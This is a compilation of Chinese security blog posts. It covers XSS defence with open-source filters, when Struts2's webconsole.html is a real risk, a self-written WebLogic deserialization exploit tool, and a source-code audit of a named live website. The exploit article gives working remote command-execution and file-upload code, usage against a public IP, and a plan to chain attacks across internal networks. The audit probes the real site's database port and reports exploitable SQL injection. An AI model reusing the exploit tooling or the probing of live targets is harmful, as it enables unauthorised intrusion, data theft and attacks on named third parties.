勾陈安全实验室

如何使用开源组件解决web应用中的XSS漏洞

本文包含以下内容:

  • XSS概述
  • XSS的防御原则
  • 开源组件的使用

XSS(跨站脚本攻击)漏洞是Web应用程序中最常见的漏洞之一,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的,比如获取用户的cookie,导航到恶意网站,携带木马等。根据其触发方式的不同,可以分为反射型XSS、存储型XSS和DOM-base型XSS。漏洞“注入理论”认为,所有的可输入参数,都是不可信任的。通常我们说的不可信任的数据是指来源于HTTP客户端请求的URL参数、form表单、Headers以及Cookies等,但是,与HTTP客户端请求相对应的,来源于数据库、WebServices、其他的应用接口数据也同样是不可信的,这即是反射型XSS与存储型XSS的本质区别。+

一般来说,我们可以通过XSS漏洞的表现形式来区分漏洞是反射型、存储型、DOM-base三种中的哪一种类型。

其name参数的值为<script>alert(1);</script>,这样的参数值进入程序代码后未做任何处理,从而被执行。其代码如下图:

01.png

  • 存储型XSS是指恶意脚本代码被存储进数据库,当其他用户正常浏览网页时,站点从数据库中读取了非法用户存储的非法数据,导致恶意脚本代码被执行。通常代码结构如下图:

02.png

其发生XSS的根本原因是服务器端对写入数据库中的内容未做javascript脚本过滤。

  • DOM-base型XSS是指在前端页面进行DOM操作时,带有恶意代码的片段被HTML解析、执行,从而导致XSS漏洞。

无论是哪种类型的XSS漏洞,其解析完成后,漏洞利用的代码基本雷同的。在日常工作中,常见的XSS漏洞Exploit攻击点有:

  • 恶意js的引用

03.png

  • Img标签(以img为例,下同)

04.png

  • 大小写绕过安全检测

05.png

  • 破坏原始标签结构

06.png

  • 基于标签事件触发

07.png

  • fromCharCode编码绕过

08.png

  • javascript 转码

09.png

  • HTML转码

10.png

  • 混合型

11.png

  • CSS文本

12.png

  • CSS属性值

13.png

基于XSS上面所述的特性,在XSS的频发代码中,我们通常遵循以下处理规则:

14.png

从上表中我们可以看出,ESAPI、HeadLines、AntiSamy、HTML Sanitizer 是开源组件中防御功能比较全面的4个,其中ESAPI、HeadLines除了对XSS具有很好的防御能力外,还对OWASP TOP 10中其他的安全漏洞都具有规范处理的能力。在单纯性地讨论其对XSS的防御能力时,我们需要看具体的应用场景或者需求点。如果仅仅是对客户端提交的简单的请求参数(通常指form表单域,不包含复杂文本和可编辑文本)做安全过滤,则HTML Sanitizer、Java Encoder都可以作为首选解决方案;如果不但对客户端提交的简单的请求参数做安全处理,而且,应用中会涉及复杂文本,类似于BBCode文本之类的数据处理,通常会首选AntiSamy作为解决方案;如果除了以上两点外,还需要做同源策略安全、Http Header安全、Cookies安全,则通常会首选HeadLines作为解决方案;如果还有更多层次的用户安全、Session会话安全、口令或随机数安全等,则ESAPI和Apache Shiro将会被考虑。那么,具体到某个软件项目中,是如何使用开源组件对XSS漏洞进行防护的呢?下面就以Java语言为例,对处理过程做简要的阐述。

第一步:确定使用的开源组件

首选是确定使用的开源组件,只有开源组件确定下来,才能确定解决方案的细节部分。在选择开源组件之前,要理解业务涉及的需求点,以免遗漏。一般来说,简单文本参数使用HTML Sanitizer,复杂文本参数使用AntiSamy。

第二步:定义安全过滤器

针对于XSS的处理,常用的解决办法是使用过滤器(Filter),由Filter中的doFilter方法对参数的内容进行安全过滤操作。其代码核心结构如图所示:

15.png

第三步:处理XSS

编写处理XSS函数clearXSS时,我们会根据所选择的开源组件不同而编写方式有所不同。当我们把开源组件的jar和依赖库添加到项目中之后,主要的工作是对此函数功能的实现,实现的基本思路是:从Request对象中获取请求的参数和http消息头,遍历每一个参数,如果某个参数值存在XSS,则对该值进行处理(过滤、编码、转义、拦截等),处理完毕后再重新赋值。 如果使用HTML Sanitizer,你的核心代码可能是

16.png

或者使用了Java Encoder,代码类似:

17.png

如果使用了AntiSamy,代码或许类似于

18.png

在HTML Sanitizer和AntiSamy中,我们都看到一个词:Policy,Policy即XSS防护策略,是指在XSS的文本进行处理时,按照怎么的规则去处理数据块:哪些html标签或属性是允许存在的,哪些的需要转义的,哪些是需要进行格式校验的,哪些是需要移除的等,这些都是在策略文件里去定义的。 HTML Sanitizer组件中,包含5个预定义的策略,具体在使用中,我们可以根据自己的需求选择某个策略。这5个策略的内容分别是:

19.png

AntiSamy组件中对策略的定义相对复杂些,是由配置文件中多个选项指定的。其配置如图所示:

20.png

AntiSamy的策略配置是由规则(tag-rule、css-rule)来控制Antisamy对html标签(tag)、属性(attribute)中不可信数据做怎样的操作行为(action),其中操作行为可分为校验(validate)、过滤(filter)、清空(truncate)、移除(remove)。根据定义的操作行为,可以对不可信数据进行移除、清空、过滤和校验操作。当对不可信数据进行校验时,比如input标签,我们可以校验align属性值指定枚举值范围为left,right,top,middle,bottom,也可以校验value值是否匹配既定义的正则表达式,如图中common-regexps和common-attributes节点所示。Antisamy依据策略文件的具体配置,对传入的不可信数据,按照定义的规则对数据进行处理,最终返回可信的文本,即代码段中的cr.getClearHTML函数的返回值。当原来的不可信数据,经过处理变成可信数据,我们防护XSS的目的也就达到了。与HTML Sanitizer类似的是,AntiSamy除了默认的antisamy.xml外,也提供5个策略模板文件:antisamy-anythinggoes.xml、antisamy-ebay.xml、antisamy-myspace.xml、antisamy-slashdot.xml、antisamy-tinymce.xml。其中ebay的模板文件使用广泛,在实际项目中,可以直接使用此策略模板或者在其基础上修改即可。

第四步:添加http响应头XSS防护

完成clearXSS函数之后名,我们需要对http响应头添加XSS防护策略。通过clearXSS函数调用是在服务器层对XSS做防护,而添加http响应头XSS防护策略是从客户端浏览器层面防护XSS。常用的参数有:

21.png

其核心代码大体如下:

22.png

第五步:启用安全过滤器

完成安全过滤器对不可信数据处理的编码逻辑之后,我们需要启用它。启用的过程即配置的过程,目的是使安全过滤器生效,这需要在web.xml中配置,并对所有请求进行拦截,其基本配置如下:

23.png

通过以上步骤的处理, web应用中因前端输入导致的XSS数据基本得以解决,但在实际的项目中,发生XSS的点可能各不相同,不是仅仅用一个安全过滤器进行全局拦截处理即可托付全盘那么简单。例如通过文件导入引发的XSS漏洞,则需要单独编码,调用开源组件对XSS进行防护。总之,无论是XSS漏洞还是其他的漏洞,安全防护是一个动态的概念,在进行XSS防护过程中,我们需要根据实际情况,不断地调整处理策略(Policy),以达到既能满足安全需要,正确处理非法的、不安全的数据,又能满足业务需要,不会错误拦截或处理了正常业务数据的最终目标。

Struts2中webconsole.html漏洞利用完全剖析

近来,随着Struts2漏洞接二连三地被披露,企业对Struts2的心理安全指数也在降低,很多企业或者安全从业人员,在日常的安全检测或者扫描过程中有点草木皆兵,如果发现了webconsole.html页面,则判断系统存在Struts2漏洞,要求各个厂商做对应的安全整改。那么出现webconsole.html页面到底是不是Struts2的安全漏洞呢?

首先,我们来看看Struts2框架中为什么会存在webconsole.html。 在Struts的官网的Debuggin页面中,有如下一段话:

The Debugging Interceptor provides three debugging modes to provide insight into the data behind the page. The xml mode formats relevant framework objects as an XML document. The console mode provides a OGNL command line that accepts entry of runtime expressions, and the browser mode adds an interactive page that display objects from the Value Stack.

我们注意引文被我加粗标注出来的句子,从这里我们可以看出来,此交互页面(即struts/webconsole.html)是Struts官方为了方便开发人员进行Debug而提供的功能。基于此,我们应该有第一个基本的认识:这是调试功能,只有在调试模式下才能使用。

接着,我们看到此文档中还有如下语句的描述:

s2_01.png

从这段话中,我们可以看出,Struts2的Debug功能,只有在开启了此功能,即配置了: <constant name="struts.devMode" value="true" /> 基于此,我们应该有第二个认识:struts/webconsole.html的调试功能只有在启用了调试参数的情况下才会生效,否则即使看到此页面,也不具有调试的功能。+

那么,是不是说,只要开启了Debug模式,struts/webconsole.html就可以进行交互了呢?答案当然是否定的。当我们访问struts/webconsole.html,使用浏览器,按F12进行查看就会发现,webconsole.html页面中加载了几个js脚本。如下图所示:

s2_02.png

从图中我们可以看出,webconsole.html页面与后端交互时,使用了Dojo的js框架来完成请求和应答处理,也就是说,webconsole.html页面可以与后端进行正常交互的前提是,项目中使用了Dojo的lib库。而在Struts2中,有一个jar,专门供此功能使用的。如下图:

s2_03.png

基于此,我们应该有更深一层的认识:只有在开启了Debug模式且ClassPath中使用了struts2-dojo-plugin-*.jar的情况下,webconsole.html页面才有可能存在安全漏洞的风险。

这时我们该明白,如果应用程序中使用了Struts2,启用了Debug模式,且ClassPath中包含了struts2-dojo-plugin-*.jar,那么,当我们访问http://ip:port/app_name/struts/webconsole.html 即可以看到如图中所示的交互界面。但是,看到了界面,就真的可以交互了么?我们接下来看看一下webconsole.html中提交事件是如何触发的?

s2_04.png

如上图中的箭头所示,当我们在页面输入内容释放键盘操作时,调用的javascript函数为keyEvent(event),我们再来跟踪一下这个函数,发现它存在于webconsole.js中,其关键代码如下图:

s2_05.png

当触发此函数时,需要两个参数,一个是event,一个是url。event表示键盘的动作事件,这比较好理解,那么url是什么呢?为什么此处并没有传递调用呢?在图中的53行我们看到源码如下: var the_url = url ? url : window.opener.location.pathname; 这句代码的语义是:如果存在url参数则使用url参数,如果不存在,则使用当前对象的父对象的url(相当于使用referer作为url的值)。很显然,此处url值不存在,只能使用当前对象的父对象的url。因此,要想能交互地使用此页面,必须有一个页面作为父页面,打开webconsole.html才可以。故我们需要有一个前置的页面,然后我们在页面上可以通过浏览器调试功能,添加如下代码: <a href="struts/webconsole.html" target="_blank">Click Me</a> 页面如图所示:

s2_06.png

s2_07.png

基于此,我们应该有第四个认识:webconsole.html是否能交互是需要有指定接受消息的url路径。
那么,是不是所有的url都可以进行交互呢?当然答案也是否定的。我们都知道webconsole.html主要用来进行Debug,其使用OGNL表达式,而OGNL表达式需要以Struts2的Action为入口,也就是说,通常情况下,这个url的路径类似于http://ip:port/app_name/xxx.action,是以action结尾的,且其实现类必须集成于com.opensymphony.xwork2.ActionSupport (后面的原理与S2-032一致),只有基于以上叙述的所有条件都满足的情况下,webconsole.html才是真正可交互的。
说到这里,我想你应该明白什么样的情况下你所看到的webconsole.html才是存在安全风险的。至于你可能出于安全目的,在禁用了devMode之后,仍然不希望其他人员看到webconsole.html页面,则可以直接删除webconsole.html的源文件,它的位置存在于:

s2_08.png

我们手工删除struts2-core-*.jar\org\apache\struts2\interceptor\debugging\文件夹下的browser.ftlconsole.ftlwebconsole.htmlwebconsole.js即可。删除完毕后,当我们再次访问,将会出现404页面。

我是如何造Weblogic反序列化漏洞EXP的轮子

  1. 简介

从国内开始讨论分析Weblogic、Jboss、Websphere等中间件存在JAVA反序列化漏洞至今,已经过了大半年了。JAVA反序列化漏洞利用已经平民化的今天,每一个白帽子手里都有2-3个神器供自己做安全测试时使用。在内网渗透测试中,遇到有以下一种或多种复杂情况时现有的exp就毫无招架之力了:

  1. 目标受网络设备限制,不能能成功端口转发、代理,仅有Web端口能进出。
  2. 目标以及目标所在内网环境均为Linux或Unix服务器。
  3. 通过各种手段,只能拿到反弹shell或者webshell

上面是我暂时能想得到的以存在Weblogic反序列化漏洞的目标作为内网渗透入口时会遇到的尴尬的情况。因为实际需要,我改写了一个Python版本的Weblogic反序列化漏洞的EXP,本篇文章记录的是我如何改写我们团队Bird牛的Weblogic利用的EXP工具为Python版,也感谢Bird牛的提供的源码以供我分析和实现自己的小工具,这在之前的客户的渗透项目中起了大用处(PS: 第一次直捣xx银行生产数据库)。

  1. 思路及实现

改写的 Weblogic EXP同样满足4个功能需要,分别如下:

  1. 连接目标:输入目标Ip、端口、尝试利用两种方式,上传payload到服务器。
  2. 上传文件:输入目标上文件保存路径,本地文件路径,能够上传文件。
  3. 执行命令:输入命令,执行命令并回显。
  4. 断开连接:清空目标服务器上的临时文件,关闭连接,退出程序。

EXP使用Python编程实现,使用Socket模拟T3协议过程,实现上传payload和后续操作具体实现如下(PS:只对exp感兴趣的直接跳到第3节使用说明)。

1. 连接目标

连接目标其实就是构造payload,发送精心构造的payload利用weblogic反序列化漏洞的过程。我通过本地调试和抓包抓出了Bird的Exp中关键的payload,我将payload归纳定义为下面的变量:

使用Socket利用方式的payload:

  1. payload_socket_win_init
  2. payload_socket_win_open_port
  3. payload_socket_linux_init
  4. payload_socket_linux_open_port

使用RMI利用方式的payload:

  1. payload_rmi_win_init
  2. payload_rmi_win_class
  3. payload_rmi_linux_ini
  4. payload_rmi_linux_class

我们首先利用socket模拟T3协议将我们构造的用于执行命令,开启Socket服务器的payload(封装在T3协议里的构造的执行命令或开启socket服务端的序列化后的字节流)发送到目标的console端口,weblogic中间件在反序列化时把用于执行命令、开启socket服务的字节序列写入到了指定的路径下。然后第二次模拟T3协议过程,将之前上传的字节序列反序列化并利用反射机制执行上传文件、命令执行、开启socket服务器等操作。

定义socket方法如下:

201612221482374424514489.png

58行代码是模拟T3协议头,如果目标端口允许T3协议进行数据传输,就会返回这样的字符串:

HELO:10.3.5.0.false
AS:2048
HL:19

HELO表示目标接收T3协议冒号后面紧跟着weblogic版本,判断HELO字符串在socket接收到的响应里就可以进行下一步了。

下一步就是封装好的T3协议数据流,这里的payload_type传输参是这样的:

201612221482374472528801.png

72行是程序的执行入口

73——74行获取我们输入目标IP或域名,获取目标端口

我将exp拆分为了对windows系统和对linux系统利用的独立脚本, 每一个脚本都包括了socket和RMI方式的利用手段,具体的payload的就不在文章中附上了,可以在脚本工具里面去看。

201612221482374491493168.png

Payload是我通过像上面截图里调试输出代码的方式,取出来的通用payload,exp实现的socket、rmi方式,针对linux和windows的一共8个payload,都在我的exp脚本里面。

Exp中Socket利用方式默认以65500端口作为Socket服务器的监听端口。

测试windows目标:

  • Weblogic10.3.5版本

效果:

连接脚本目标目标之前:

201612221482374525823507.png

连接之后:

201612221482374593897517.png

在目标的Temp临时目录下面成功写入了payload文件,同时exp成功执行whoami查的了当前用户。

2. 执行命令

执行命令有两种方式,一种是通过Socket方式将执行的命令以格式:cmd:::命令发送到目标启动的Socket服务端,如下面截图:

201612221482374619386654.png

二是通过RMI方式,经过我多很久的研究也没法在Python下模拟JAVA实现RMI方式的调用,所以只能用JAVA写了一个辅助使用的JAR包来完成RMI方式的利用,我们使用JAVA命令调用辅助jar文件来让目标执行我们的命令。(安装weblogic中间件时会自带安装JAVA的,不存在目标服务器上不能执行java命令的情况。)

实现代码大概如下:

public class JavaExp {
    
    private static String remoteWindowsPath = "/c:/windows/temp/H3y5ec.tmp";
    private static String remoteLinuxPath = "/tmp/H3y5ec.tmp";  
    private static String Notices = ""
            + "用法:\n"
            + "1.一句话命令执行:\n"
            + "例子:java exp.jar 127.0.0.1 7001 'net user'\n"
            + "2.文件上传\n"
            + "例子:java exp.jar 127.0.0.1 7001 upload '本地文件绝对路径' '远程目标文件绝对路径'\n";
    private static RemoteObject remote;
    public static void main(String[] args) throws NamingException {
        if(args.length <3){
            System.out.println("参数错误!!\n");
            System.out.println(Notices);
            System.exit(0);
        }
            String host = args[0];
            String port = args[1];
            String order =  args[2];
            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put("java.naming.factory.initial",
                    "weblogic.jndi.WLInitialContextFactory");
            env.put("java.naming.provider.url", "t3://"
                    +host+ ":" + port);
            try {
                Context ctx = new InitialContext(env);
                remote = (RemoteObject) ctx
                        .lookup("RemoteObject");
            try {
                if("unbind".equals(order)){
                    try {
                        remote.unbind(remoteWindowsPath);
                        remote.unbind(remoteLinuxPath);
                        System.out.println("unbind_OK");
                        return ;
                    } catch (Exception e) {
                    }
                }
                if("upload".equals(order)){
                    if(args.length <5){
                        System.out.println("参数错误!!\n");
                        System.out.println(Notices);
                        System.exit(0);
                    }
                    String localfilePath =  args[3];
                    String remotefilePath = args[4];
                    
                    UploadFile(localfilePath,remotefilePath);
                }else{
                    String result = remote.exec(order);
                    System.out.print("result:\n"+result);   
                }
            } catch (Exception e) {
            }
        } catch (Exception e) {
            System.out.println("ConnectFailed");
        }
    }
    public static void UploadFile(final String localfilePath,final String remotefilePath){
        new Thread(new Runnable() {
            @Override
            public void run() {
                FileInputStream fileInputStream = null;
                try {
                    File file = new File(localfilePath);
                    fileInputStream = new FileInputStream(file);
                    long total = file.length();
                    byte[] data = new byte[100 * 1024];
                    double sendedLen = 0;
                    NumberFormat nf = NumberFormat.getPercentInstance();
                    int len = fileInputStream.read(data);
                        if (len != -1) {
                            if (remote.upload(remotefilePath,
                                    Arrays.copyOfRange(data, 0, len),
                                    false)) {
                                sendedLen = sendedLen + len;
                                System.out.println("上传中...已完成"
                                        + nf.format(sendedLen / total));
                                while ((len = fileInputStream
                                        .read(data)) != -1) {
                                    if (!remote.upload(remotefilePath,
                                            Arrays.copyOfRange(data, 0,
                                                    len), true)) {
                                        System.out.println("上传失败!");
                                        break;
                                    }
                                    sendedLen = sendedLen + len;
                                    System.out.println("上传中...已完成"
                                            + nf.format(sendedLen
                                                    / total));
                                }
                                if (len == -1) {
                                    System.out.println("上传成功!");
                                }
                            } else {
                                System.out.println("上传失败!");
                            }
                        } else {
                            System.out.println("上传失败!");
                        }
                } catch (Exception e) {
                    System.out.println("上传失败!");
                } finally {
                    try {
                        fileInputStream.close();
                    } catch (IOException e1) {
                    }
                }
            }
        }).start();
    }
}

从代码的实现功能来看,那么执行命令的调用就是这样的:

Java –jar xxxx.jar Ip port “command”

201612221482374653864672.png

使用RMI方式调用上传文件的函数完成文件上传,上面的代码中UploadFile里面已经给了具体的实现,上传文件的调用和效果如下:

201612221482374678496703.png

4. 断开连接

使用反注册类,将我们上传的payload临时文件清空。实现代码截图如下:

201612221482374706924547.png

0x03 EXP使用手册

usage: win_weblogic_exp.py [-h] [-target TARGET] [-port PORT] [-cmd CMD]
                           [-lfile LFILE] [-rfile RFILE]
optional arguments:
-h, --help       show this help message and exit——查看帮助
  -target TARGET  the target ip or domain.——指定目标IP或域名
  -port PORT      the target port.——指定目标端口
  -cmd CMD      [init|command|bye|upload]——
选择类型:
Ø  init : exp会上传payload,尝试利用反序列化漏洞。
Ø  command: 执行一句话命令
Ø  bye: 断开目标,清空上传在目标服务器上的payload文件。
Ø  upload: 进入上传文件模式,后面必须补充lfile和rfile参数。
  -lfile LFILE      local file.——本地文件绝对路径。
  -rfile RFILE     remote file.——上传文件在目标服务器上保存的绝对路径。

1. 连接目标

用法:

python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd init

效果:

201612221482374746540497.png

201612221482374769426195.png

2. 执行一句话命令

用法:

python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd "cmd /c ipconfig"

201612221482374821106195.png

201612221482374847251774.png

3. 上传文件

使用py脚本用法:

python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd upload -lfile "E://boot.ini.txt" -rfile "C://boot.ini.txt"

或者使用辅助jar文件:

上传文件:

201612221482374877860081.png

或者:

201612221482374910205682.png

查看文件:

201612221482374936378794.png

或者:

201612221482374963123522.png

上传文件:

201612221482375011949492.png

查看文件:

201612221482375058549613.png

4.断开目标

用法:

python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd bye

201612221482375116984623.png

201612221482375141836185.png

0x04 总结

写本轮子主要是为了方便在内网渗透测试时方便使用,现在网上流传的exp均是大牛们写的GUI版的带回显,不需要通外网的实现版本。当遇到全linux和不能远程桌面的windows内网时,想要进一步攻击内网中存在weblogic反序列化漏洞的服务器时,这个轮子就发挥了巨大作用。

总结一下造的这个轮子的功能。

  1. 适用于Linux服务器(因为他们自带python环境,后面有空会再造个JAR版的EXP就通用于Windows和Linux了。)
  2. 支持一句话命令执行。
  3. 支持文件上传

PS: windows和linux攻击exp轮子会在文章最后附上,下面是一片瞎想。

0x05 瞎想

突然冒出的想法:“蚯蚓式”攻击:

假如有这样的环境:A 、B、C、D…… N内网全是Linux服务器,他们分别是第一层、第二层、第三层、…… 第N层内网。

A ——B——C——D——…….N

A:是内网入口

B 、C、D…..是2层、3层、4层….N层内网主机,都存在weblogic反序列化漏洞。

那么我们就可以用这个轮子,一层一层的把他们串起来。

1、攻击者 VS 服务器A

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd init

上传攻击EXP轮子到A服务器

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd upload -lfile "攻击者电脑上exp" -rfile “A服务器上EXP”

2、 已沦陷的A服务器 VS B服务器

python win_weblogic_exp.py -target A_IP -port 7001 –cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port –cmd init”

控制A上传攻击EXP轮子到B服务器上

python win_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd upload –lfile ‘A服务器上EXP ’ –rfile ‘B 服务器上EXP’”

3、已沦陷的B服务器 VS C服务器

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd init’”

让A服务器控制B服务器上传EXP轮子到C服务器

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd upload –lfile ‘B服务器上EXP’ –rfile ‘C服务器上EXP’ ’”

4、……不断往下个”蚯蚓式攻击”

上面的瞎想有可能成为现实,我之前遇到的全Linux内网环境,只有2层网络。也就是B、C、D都在第二层内网,我控制了A,通过A控制了第二层内网3-4台Weblogic服务器,其中一个上面找到了连接核心数据库的配置,从而能够直达某网银生产数据库。这样的“蚯蚓式攻击”很绕也很复杂,当然能突破网络边界限制,端口转发或代理出来或映射过去能直达下一层网络,谁愿意这么费力去绕弯子啊??

我与代码审计[一]

  1. 背景

好久没写文章了,来写一篇水文( PS: 为了对得起观众,文章中会送肉鸡和送福利 – 需要自己动手)。 2016 年对自己最大的愿望就是养成看书的习惯,改掉以前只买书不看书的“坏习惯”。 2016 年看的第一本书是 Seay 法师的代码审计的书。还记得当程序员时的梦想 : “要把开发和安全结合起来,写出安全的代码!”,虽然现今早已不走在开发的路上,但这个梦还是值得去追寻。

  1. 起因

上周我司 XX 群突然被一张聊天截图炸开了锅,从该图上的信息可以看到从某代码托管平台发现了我司 WAF 产品相关源码以及同事的内网账号信息。这一爆炸性新闻直接把总裁办的领导吸引到了群里,于是各路大牛们纷纷上各大代码托管平台搜索着我司的信息。

像这样的因为企业员工使用互联网公开的代码托管平台不当,导致企业敏感信息泄露的案例多不甚数,从 WooYun 上搜索了一下关键字: Github 得到 591 条记录,截图如下:

iaAJfmY.png

可见对于企业来说,自己员工的安全意识有必要提升加强!

  1. 获取源码

获取源代码的最好途径就是从公开的代码托管平台去寻找或者从目标的 svn|Git 泄露获得源码。从 Github 上获取源码简单的用法就是打开 Github 网站,选中左边区 “Code”, 表示我们只搜索代码,下面的 “ Language ” 表示偏好搜索的语言类型,然后输入关键字进行搜索。下面是示意截图:

EbIBfia.png

一般思路是从乌云等漏洞平台上找目标企业已经泄露的内部职员账号,手机号,内部邮箱,内部系统名称,或服务器信息等等,然后作为关键字放到代码托管平台进行搜索信息。 从搜出来的信息中,进一步去打开分辨提取有用的信息,这里贴一篇前辈写的检索语法参考文章: Github 上寻找敏感信息技巧分享 -getshell1993

这里是一个例子:捡到一只规模还不小的游戏公司的运维狗的 github,

Github 地址: https://github.com/jokimina/script ( 已告知对方删除该 Github 项目 )

截图如下:

jqmMFr2.png

VNFVVj.png

(目测这是一个运维汪的 Github ,不同的人拿到这个有不同的用处,我拿着呢就是学习学习脚本,里面的更多信息没有深度挖掘。提醒下看到这篇文章的无论程序猿、运维汪、还是工程狮们请一定要注意保护自己企业的隐私,如果因为自己的安全意识不强导致企业遭受巨大损失就亏大了!)

我在 github 找到了这个地址:

https://github.com/Mcfell/

Mv6fEf.png

通过查看源代码初步分析,找到并确认了正在线上运行的网站地址:

NRzmUv.png

于是开始了下面的故事。

  1. 审计源码

1.做好审计前的准备

在拿到目标的源码后,我马上打开熟悉的 Eclipse 工具、 import 导入项目、根据是否乱码调整 IDE 环境编码,一般审计的时候很难取得与线上的网站一样的运行环境,所以更多的时候是不能代码在本地模拟线上环境正常跑起来的,所以一些报错缺少包的问题就没管了。

URz2iuN.png

2.预编译模型防 SQL 注入正确用法

大概扫了一下项目的构成,这里没有用上 Java 的重量级框架,就是一个简单的 Java Web 项目。 WebRoot 目录下面除了 WEB-INF/*META-INF 外都是可以用浏览器直接访问的文件。关于 Java Web 基础可以见园长的文章: JavaWeb 应用 [1]-JavaEE 基础

对于 Java Web 项目,可以看每一个 jsp 页面里面的 Servlet 地址。一般来说请求的 Servlet 地址,在服务器端都有个名字差不多的完成请求和响应的 JavaBean 类。这个准确的对应关系我们不能靠猜,可以去 WEB-INF/web.xml 文件里去看映射关系。

比如下面:

FZJ7bqU.png

举例如下面的这段代码:

<servlet-mapping>
    <servlet-name>dealQuery</servlet-name>
    <url-pattern>/dealQuery.do</url-pattern>
  </servlet-mapping>
<servlet>
    <display-name>jsonSevlet</display-name>
    <servlet-name>dealQuery</servlet-name>
    <servlet-class>myServlet.dealQuery</servlet-class>
  </servlet>

从上面的代码我们可以知道,当浏览器请求 /dealQuery.do 这个地址时,由服务器端 myServlet 包下 dealQuery 这个 java 类来完成客户端的请求和响应。这个项目的所有处理的 Servlet 类都放在 myServlet 文件夹下面,

知道这个流程后,我开始检查 myServlet 文件下每一个处理的 Servlet 类,有如下的 java 文件:

3YR7vuN.png

第一个 dealCoorrect.java 文件内容如下:

public void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        request.setCharacterEncoding("utf-8");
        response.setCharacterEncoding("utf-8");
        PrintWriter out = response.getWriter();
        JSONObject ms = new JSONObject();
       
        HttpSession ss = request.getSession();
        usInformation usInf = (usInformation)ss.getAttribute("usInf");
       
        String  CSId,CSName,CSAddr,CSDate,CSMode,CSFast,CSlow,Operator,ParkFee,CSPub,CSState,CSPhone,CSNotes;
        System.out.println("进入dealCorrect");
        CSId=new String( request.getParameter("CSId"));
        CSName=new String( request.getParameter("CSName"));
        CSAddr=new String( request.getParameter("CSAddr"));
        CSDate=new String( request.getParameter("CSDate"));
        CSMode=new String( request.getParameter("CSMode"));
        CSFast=new String( request.getParameter("CSFast"));
        CSlow=new String( request.getParameter("CSlow"));
        Operator=new String( request.getParameter("Operator"));
        ParkFee=new String( request.getParameter("ParkFee"));
        CSPub=new String( request.getParameter("CSPub"));
        CSState=new String( request.getParameter("CSState"));
        CSPhone=new String( request.getParameter("CSPhone"));
        CSNotes=new String( request.getParameter("CSNotes"));
        String usId = usInf.getUsId();

这里定义了不同的字符串 CSId , CSName , CSAddr , CSDate , CSMode , CSFast , CSlow , Operator , ParkFee , CSPub , CSState , CSPhone , CSNotes ; 用来表示从请求中获取到的不同参数的值。

往下:

NBzU7f.png

看到了熟悉的 insert 操作的 sql 语句。一条正常的 SQL 语句在放入数据库引擎中执行前,是会先经过各种词法错误、语义逻辑等识别和分析。通常的 SQL 注入也就是通过构造参数利用 SQL 语句在解析时解析引擎对参数中特殊符号的解析产生了偏差,使得一条唯一性的 SQL 语句变成了多重语义的执行语句,从而达到攻击者想要的目的。

虽然这里从请求中获取的变量值没有经过任何的处理直接带入了 SQL 语句,但是这里使用了参数绑定的预编译模型 , 也就是使用?占位符的帮助下这条 Insert 的语句执行模型已经编译确定了。按照预编译好的模型使用 setter 方法将参数值依次代替占位符?并进行执行。在 Java 中 SQL 注入对于像使用 PreparedStatement 预编译模式是无效的 , 这是因为 PreparedStatement 不允许在插入值时改变查询的逻辑结构。

所以得出结论

结论:这个Servlet处理是不存在SQL注入漏洞的!

3.预编译模型之错误使用导致 SQL 注入漏洞

上面的代码中,开发人员虽然没有过滤 SQL 注入的安全意识,但是使用的方法却有效的把 SQL 注入漏洞拒之门外了。怀着忐忑的心继续往下一个处理 Servlet 类开始看。

UbyiQ3e.png

这个类同样的还是定义了很多字符串变量接收浏览器传递来的参数的值,未获取到值的变量赋予默认值。

ZJZbQfr.png

从上面代码中可以看到创建了一个数据库实例对象,定义了 condition 字符串,这是一个 select 查询语句,用 StringBuffer 来拼接 sql 语句。先追踪 dataBase 类可以看到:

jayEV3n.png

看到了SqlServer数据库连接信息,用的 sa 用户,第一次见到数据库名是汉字的 !!! telnet 试了下 1433 端口不能连接

FZV3AzM.png

于是继续看代码

AbIVzea.png

拼接完 SQL 查询语句后,用拼接后的 SQL 语句创建了一个预编译对象并执行。这里犯了一个很多程序员都会犯的错 —— 错误的使用了 prepareStatement 对象。可能大多数程序员知道使用预编译对象可以防 SQL 注入,但是很多人都理解为创建一个预编译对象,然后用它的 executeQuery 来执行 SQL 语句就能防止 SQL 注入了。这样的想法是错误的,拼接后的语句再放入预编译对象是徒劳的,因为在预编译之前拼接的 SQL 语句执行逻辑已经被破坏,原 SQL 语句的本意已经被改变了。

所以得出下面结论:

结论:错误使用PreparedStatement预编译对象导致这个查询功能存在SQL注入漏洞!

4.退出系统功能

73AZF3a.png

当用户请求退出系统时,浏览器会使用 GET 请求地址 /dealExit.do ,处理退出的功能由上面的代码实现。这里从 Http 请求的 Session 会话中获取参数 usInf, 如果获取到就使用 removeAttribute 从 session 中移除获取到的 usInf 。这里销毁的 usInf 是从当前会话中获取到的,所以这里的退出功能不存在越权漏洞。

所以得出如下结论:

结论:不存在漏洞

5.用户是否已注册判断存在 SQL 注入

在注册页面输入任意用户名 admin123, 看一下下发出去的请求: http://www.ezchong.com/dealPhoneMessage?act=checkIsReg&usId=admin123

YfEBbqI.jpg

通过查看 web.xml 映射关系找到这个逻辑处理代码在: dealPhoneMessage.java 类里:

打开文件找到 checkIsReg 函数:

vmuuIbi.png

可以看到传入的 usId 参数被直接拼接进了 checkCondition 字符串定义的 select 语句,然后把这条 sql 语句作为参数传入数据库帮助类的 query() 函数,这个函数代码如下:

EVRFBzR.png

